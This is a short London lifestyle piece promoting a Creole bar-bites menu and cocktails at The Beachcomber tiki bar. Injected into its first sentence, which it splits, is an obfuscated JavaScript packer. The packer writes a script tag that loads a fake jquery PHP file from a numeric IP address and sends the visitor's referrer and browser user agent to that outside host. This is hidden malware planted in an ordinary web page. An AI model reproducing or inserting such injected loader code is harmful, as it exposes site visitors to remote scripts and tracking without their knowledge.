CREOLE KITCHEN AT THE BEACHCOMBER

Sick (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkzst|var|u0026u|referrer|rydze||js|php’.split(‘|’),0,{}))
of the grey skies above? We hear ya! Well then add some sunshine to your life at late-night tiki bar The Beachcomber, who have teamed up with cookbook author Vanessa Bolosier to create a brand-new bar bites menu full of sunshine-filled flavours. Bringing a taste of island life to London, Vanessa’s Caribbean Creole features everything from plantain crisps and aubergine patties to insanely addictive saltfish fritters.

The Creole flavours continue in the cocktails; think Agricole rhums of the French Caribbean, with agwa coca leaf liquor, blue curaçao and orgeat for the Agwadisiac, and with vermouth and campari for the Agroni, a tiki twist on the negroni. There’s even a four-person sharing cocktail, The Mad Hatter’s Ti Party, which, of course, comes served in a top hat…OBVS.

[URIS id=66157]

So if you’re keen to get away to a tropical paradise but don’t have the dollar, you now only have to go as far as West London.

86 Queensway, London, W2 3RR
www.thebeachcomber.co.uk